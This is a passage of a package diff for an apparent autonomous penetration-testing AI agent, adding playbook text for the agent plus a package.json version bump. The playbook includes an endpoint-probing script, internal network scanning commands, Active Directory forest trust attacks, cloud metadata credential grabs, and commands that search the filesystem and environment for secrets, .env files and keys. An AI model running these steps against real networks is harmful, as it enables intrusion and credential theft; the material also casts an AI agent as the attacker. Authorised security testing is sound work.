├── Found admin bypass via X-Role header → test ALL other privilege endpoints
|
|
249
|
+
└── Found TOCTOU in open() → check other syscall pairs: stat()+open(), lstat()+open()
|
|
250
|
+
|
|
251
|
+
Automated variant search:
|
|
252
|
+
write_file("variant_hunter.py", """
|
|
253
|
+
import requests
|
|
254
|
+
ENDPOINTS = ['/api/v1/user', '/api/v1/order', '/api/v2/...']
|
|
255
|
+
PAYLOADS = [...] # from original finding
|
|
256
|
+
for ep in ENDPOINTS:
|
|
257
|
+
for p in PAYLOADS:
|
|
258
|
+
r = requests.get(f'BASE_URL{ep}', params=p)
|
|
259
|
+
if r.status_code != 403:
|
|
260
|
+
print(f'POTENTIAL: {ep} {p} → {r.status_code}')
|
|
261
|
+
""")
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
### C4: Enterprise Internal Network
|
|
265
|
+
```
|
|
266
|
+
Initial foothold → internal network playbook:
|
|
267
|
+
|
|
268
|
+
SEGMENT DISCOVERY:
|
|
269
|
+
├── ip route + arp -a + netstat → map known segments
|
|
270
|
+
├── Scan adjacent /24 blocks: nmap -sn 10.{1..20}.0.0/24
|
|
271
|
+
├── DNS enumeration: for i in $(seq 1 254); do host 10.x.x.$i; done
|
|
272
|
+
└── SNMP sweep: onesixtyone -c community.txt -i targets.txt
|
|
273
|
+
|
|
274
|
+
CRITICAL INTERNAL SERVICES TO FIND:
|
|
275
|
+
├── Active Directory DC: 88/TCP (Kerberos), 389/389 (LDAP), 636 (LDAPS)
|
|
276
|
+
├── SCCM/WSUS: 8530/HTTP → privilege escalation paths
|
|
277
|
+
├── Exchange/Mail: 25/443 → phishing from internal, relay attacks
|
|
278
|
+
├── Corporate CA: 80 (web enrollment) → ADCS attacks
|
|
279
|
+
├── Jump hosts/bastion: SSH/RDP → lateral movement hub
|
|
280
|
+
├── Prod databases: 1433/3306/5432 → credential reuse + data dump
|
|
281
|
+
├── DevOps infra: 8080(Jenkins)/9090(Prometheus)/9000(SonarQube)
|
|
282
|
+
│ → often weak auth → code execution
|
|
283
|
+
└── Cloud endpoints: 169.254.169.254 (AWS/Azure metadata) → IAM creds
|
|
284
|
+
|
|
285
|
+
AD FOREST ATTACKS:
|
|
286
|
+
├── Forest trust → SID history → Enterprise Admin across forests
|
|
287
|
+
├── External trusts → kerberoast across trust → crack → access other domain
|
|
288
|
+
└── web_search("active directory forest trust attack SID filtering bypass {year}")
|
|
289
|
+
|
|
290
|
+
CLOUD PIVOT (when enterprise uses hybrid):
|
|
291
|
+
├── From on-prem → find AWS/Azure creds in env vars, files, secrets managers
|
|
292
|
+
│ env | grep -i aws/azure/gcp/secret
|
|
293
|
+
│ find / -name "*.env" -o -name "credentials" -o -name "*.pem" 2>/dev/null
|
|
294
|
+
├── AWS: aws sts get-caller-identity → role → escalate via misconfigured policies
|
|
295
|
+
├── Azure: az account list → subscriptions → VMs → managed identity → creds
|
|
296
|
+
└── web_search("cloud privilege escalation {provider} misconfiguration {year}")
|
|
297
|
+
```
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pentesting",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.70.1",
|
|
4
4
|
"description": "Autonomous Penetration Testing AI Agent",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "dist/main.js",
|
|
@@ -19,7 +19,7 @@
|
|
|
19
19
|
"dev:tsx": "tsx src/platform/tui/main.tsx",
|
|
20
20
|
"build": "tsup",
|
|
21
21
|
"start": "node dist/main.js",
|
|
22
|
-
"test": "mkdir -p .vitest && TMPDIR=.vitest vitest run && rm -rf .vitest .pentesting",
|
|
22
|
+
"test": "mkdir -p .vitest && TMPDIR=.vitest npx vitest run && rm -rf .vitest .pentesting",
|
|
23
23
|
"test:watch": "vitest",
|
|
24
24
|
"lint": "tsc --noEmit",
|
|
25
25
|
"prepublishOnly": "npm run build",
|